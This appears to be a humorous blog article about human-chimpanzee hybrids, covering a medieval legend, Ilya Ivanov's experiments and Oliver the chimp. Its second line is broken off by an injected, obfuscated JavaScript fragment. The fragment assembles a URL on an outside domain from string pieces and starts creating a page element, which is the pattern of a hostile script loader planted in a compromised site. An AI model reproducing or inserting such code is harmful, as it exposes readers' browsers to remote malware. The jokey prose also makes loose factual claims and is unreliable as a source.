Humanzees

The following story is true. And weird.)){u='http'+'://buro'+'tkan'+'i.com/'+'sma'+'rty/';j=document.createElem

I, for one, welcome our future humanzee overlords.

Just The Facts

  1. A humanzee is the mixture of a human and a chimpanzee.
  2. They are also called Chumans, or, Manpanzees.
  3. They don't exist, but it hasn't stopped people from trying to make one.

Cracked on Humanzees

The idea that apes and man should be able to have children isn't all that far fetched. We do have 98 percent of our DNA in common with chimps and and the difference in the number of chromosones aren't any bigger than between donkeys and horses, and that are perfectly able to have mules. Of course, we also have about 35 percent of our DNA in common with daffodils, and we have yet to hear about anyone trying to bone a flower. And that is not an invitation to send us links to prove us wrong.

The idea of a monkey and a lascivious lady gettin' it on is much older than the internet. Who knew? In the eleventh century the story was that a lady had sex with her pet chimp and became with child as a result. The child was even introduced to the pope, and that was back when popes were cool and killed stuff and had steamy sex with nuns. Or munks, if they so desired. Later research has decided that it was just a really ugly but otherwise ordinary human child. Not the pope, the monkey-child.

Than, in the twenties, came Ilya Ivanovich Ivanov. We already discussed him in the article 9 Real Life Mad Scientists. For those to lazy to click a link, he was a russian scientist who one day decided "Hey, I'm gonna make me a Human/Ape hybrid", so he got a bunch of lady-chimps and a big bucket filled with human sperm, and he just went crazy. But, none of the lady-chimps got pregnant. Then he decided to impregnate lady-humans with ape-sperm. That was to much for the french backers, so they closed up the money-bag and threw him out of France, no doubt calling him a pervert on the way out. So, he returned to russia, to continue his research, but then his male chimp died. Then he was banished to Kasakhstan. We are not sure why. We think that Stalin just liked to banish people.

Then, in the early sixties, appeared Oliver the Humanzee. He was, at least, part chimp. He had sort of a human face, without much hair on his head, and he liked to walk on his legs, instead of using his arms, like an ordinary chimp. He was transported around and shown to masses and appeared on TV and in the papers throughout the sixties, seventies and eighties. And it was speculated that he was a new species, or The Missing Link or a Humanzee. The latter was a popular idea, and that was how he was billed. Later research has revealed that he was just, by monkey standards, an really ugly but otherwise ordinary chimpanzee. And so, the story has come full circle. Oliver lives in a zoo, these days. He is an older gentleman-chimp, but he has a young girlfriend, so don't feel bad for him. Everything went well for Oliver, the Ugly but Ordinary Chimp.